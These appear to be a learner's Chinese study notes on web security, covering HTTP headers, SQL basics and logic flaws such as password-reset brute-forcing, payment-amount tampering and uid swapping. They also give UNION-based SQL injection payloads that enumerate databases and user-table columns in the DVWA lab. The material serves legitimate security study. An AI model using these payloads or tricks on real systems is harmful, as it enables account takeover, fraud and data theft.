第二天
数据包分析
POST:是常用的方法之一,用于向服务端提交数据,有主体 (发送上传)
GET: 是最常用的方法,通常用于请求服务器发送某个资源 (获取)
Host:请求主机名和端口号
Content-Length:内容的长度
Content-Type:内容的类型
Cache-Control:max-age=0:缓存的内容将在 0 秒后失效, 这个选项只在HTTP 1.1可用, 并如果和Last-Modified一起使用时, 优先级较高
User-Agent:告诉服务端发起请求的应用程序的名称
Referer:数据包来源
Accept:期望返回的响应消息体内容格式类型。
Accept-Encoding:浏览器发给服务器,声明浏览器支持的编码类型
Accept-Language:表示浏览器所支持的语言类型
Cookie:是数据包,可以让网页具有记忆功能,在某台电脑上记忆一定的信息。
web基础知识 https://www.bugbank.cn/q/article/5982c773eec8b124691a2b2c.html
两个逻辑漏洞
1.逻辑漏洞——简单的任意账户密码重置
这类逻辑漏洞 就没有停的时候 在WAF越来越普及的时代,SQL注入,远程命令执行这类高危可操作漏洞将越来少,而逻辑漏洞则是目前WAF(很久之后的WAF或许也不能防御)的盲区。所以作为一名合格的黑客,学好逻辑漏洞的挖掘思路,是必须的。逻辑漏洞最常见也是最有效的无非就在于找回密码处,我们用蘑菇租房来给大家做演示(漏洞以反馈至漏洞银行,并已修复)
逻辑漏洞-1:https://www.bugbank.cn/q/article/59857e58236eaa5a3a8d8400.html
2.浅谈APP漏洞挖掘之逻辑漏洞
(1)任意用户密码重置正文
方法一:密码找回的凭证太弱,为4位或6位纯数字,并且时效过长,导致可爆破从而重置用户密码。
方法二:验证码传输在数据包中
这里共有两种可能,一种在返回包,一种在获取验证码的数据包中。我们来看两个实例。
第一个:验证码在返回包中在输入好手机号点击下一步时,我们抓包,截取返回包。
第二个:验证码在获取验证码的数据包中
逻辑漏洞-2:https://www.bugbank.cn/q/article/5985809e236eaa5a3a8d8429.html
方法三:输入好凭证后,重置密码时替换手机号。
(2)支付漏洞正文
方法一:修改金额
方法二:修改金额为负数
(3)任意用户未授权登录
方法一:登录时抓包,修改uid
namp参数
namp参数详解 https://www.xuebuyuan.com/3258224.html
数据库之间的关系
一个数据库里有很多表,每个表里有许多字段,每个字段有各自的内容。
数据库相当于学校名称(一中、二中、三中),表相当于班级(一班、二班、三班),
字段相当于学生的属性(名字、学号、性别、),
字段的内容就是前面学生属性的具体内容(名字是什么,学号是什么,性别是什么)。
命令:
(1)创建数据库:create database test
.删除数据库:drop database test
创建数据表:CREATE TABLE runoob_tbl
删除数据表:DROP TABLE runoob_tbl
(2)数据记录筛选:
sql="select * from 数据表 where 字段名=字段值 orderby 字段名 [desc] "
sql="select * from 数据表 where 字段名 like '%字段值%' orderby 字段名 [desc]"
sql="select top10 * from 数据表 where 字段名 orderby 字段名[desc]"
sql="select * from 数据表 where 字段名 in('值1','值2','值3')"
sql="select * from 数据表 where 字段名 between 值1 and 值 2"
(3)更新数据记录:
sql="update 数据表 set 字段名=字段值 where条件表达式"
sql="update 数据表 set 字段1=值1,字段2=值2……字段n=值n where条件表达式"
(4)删除数据记录:
sql="delete from 数据表 where条件表达式"
sql="delete from 数据表 "(将数据表所有记录删除)
(5)添加数据记录:
sql="insert into 数据表(字段1,字段2,字段3…) values(值1,值2,值3…)"
sql="insert into 目标数据表 select * from 源数据表"(把源数据表的记录添加到目标数据表)
数据库常用命令:https://www.cnblogs.com/myzxh/p/9633298.html
一、DVWA SQL 注入
不是有SQLMAP注入
首先肯定是要判断是否有注入漏洞,在输入框输入1,返回
再次输入1',报错,返回
此时可以断定有SQL注入漏洞,下面利用SQL进行注入攻击。
输入 1' union select 1,schema_name from information_schema.schemata#查询mysql数据库,所有数据库名字:这里利用mysql默认的数据库information_scehma,该数据库存储了Mysql所有数据库和表的信息
爆表名:1' union select 1,table_name from information_schema.tables where table_schema='dvwa' and table_type='base table' #
爆字段: 1' union select 1,column_name from information_schema.columns where table_name='users' #
不同难度的SQL注入 https://blog.csdn.net/qq_36706878/article/details/79677078
二、SQLiLabs
查网址就好 语言不知道怎么表述
源码下载地址:https://github.com/Audi-1/sqli-labs
安装方法 :https://jingyan.baidu.com/article/67662997a0527d54d51b84df.html
使用方法:https://cloud.tencent.com/developer/news/217484
https://www.xuebuyuan.com/3258224.html